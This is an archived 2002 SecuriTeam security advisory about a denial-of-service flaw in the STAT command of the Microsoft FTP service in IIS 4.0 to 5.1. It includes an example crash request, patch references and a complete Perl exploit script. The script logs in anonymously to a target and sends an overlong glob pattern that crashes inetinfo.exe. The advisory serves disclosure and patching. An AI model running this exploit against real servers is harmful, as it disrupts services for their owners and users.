

# [NT] Microsoft FTP Service STAT Globbing DoS (Additional details)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0063.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 04/17/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 17 Apr 2002 16:05:45 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Microsoft FTP Service STAT Globbing DoS (Additional details)

---

## SUMMARY

The Microsoft FTP service is vulnerable to a Denial of Service attack in the STAT command. This DoS can be triggered by a remote attacker using either a valid user account or the anonymous account, which is enabled by default. Once exploited, all services running under the inetinfo.exe process will terminate.

## DETAILS

Affected Software:

- \* Microsoft Internet Information Server 4.0
- \* Microsoft Internet Information Services 5.0
- \* Microsoft Internet Information Services 5.1

This vulnerability was discovered in November 2001 by a "fuzzer" script that H D More wrote to audit FTP daemons for problems in the globbing functionality. This script created and sent random arguments to the "STAT" command consisting of various combinations of globbing characters. The original fuzzer had to be modified to use the Windows glob characters instead of the normal Unix set. Within 20 seconds, the script had caused an access violation on a fully patched IIS server.

## Securiteam: [NT] Microsoft FTP Service STAT Globbing DoS (Additional details)

An example request that can cause the crash:

```
STAT ?*<240 x X>
```

The crash occurs when a memchr call is passed a pointer that references to a NULL. It may be possible to overwrite this memory with an arbitrary path and use this exploit to obtain a directory listing, but all attempts so far have failed and constantly restarting IIS and retrying was getting old.

Solution:

Please see our previous post:

<<http://www.securiteam.com/windowsntfocus/5RP0E006UW.html>> Cumulative Patch for Internet Information Services for patch information.

Exploit code:

```
#
# The Microsoft FTP service contains a vulnerability in the STAT
# command with the pattern-matching (glob) code. This vulnerability
# could be exploited to execute a Denial of Service attack. This
# affects IIS 4.0 and 5.0 and requires the attacker to be able to
# access the service either through a valid user account or via the
# anonymous login which is enabled by default. The DoS attack will
# bring down all services running under IIS (the inetinfo.exe
process).
#
# IIS 4.0 must be manually restarted to restore normal operation.
IIS 5.0
# will automatically restart the crashed services, but any users
connected
# to the service at the time of exploitation must reconnect.
#
# At this time, there seems to be a slim-to-none chance of being
able to
# execute arbitrary code through this vulnerability.
#
# Solution:
#
# http://www.microsoft.com/technet/security/bulletin/MS02-018.asp
#
```

```
use Net::FTP;
```

```
$target = shift() || die "usage: $0 <target ip>";
```

```
my $user = "anonymous";
```

```
my $pass = "crash\@burn.com";
```

```
my $exp = ("A" x 240);
```

```
print ":: Trying to connect to target system at: $target...\n";
```

```
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect: $!";
```

```
$ftp->login($user, $pass) || die "could not login: $!";
```

Securiteam: [NT] Microsoft FTP Service STAT Globbing DoS (Additional details)

```
$ftp->cwd("/");  
  
print ":: Trying to crash the FTP service...\n";  
$ftp->quot("STAT *?" . $exp);  
$ftp->quit;
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[sflist@digitaloffense.net](mailto:sflist@digitaloffense.net)> H  
D Moore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Microsoft IIS 5.0 CodeBrws.asp Source Disclosure"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)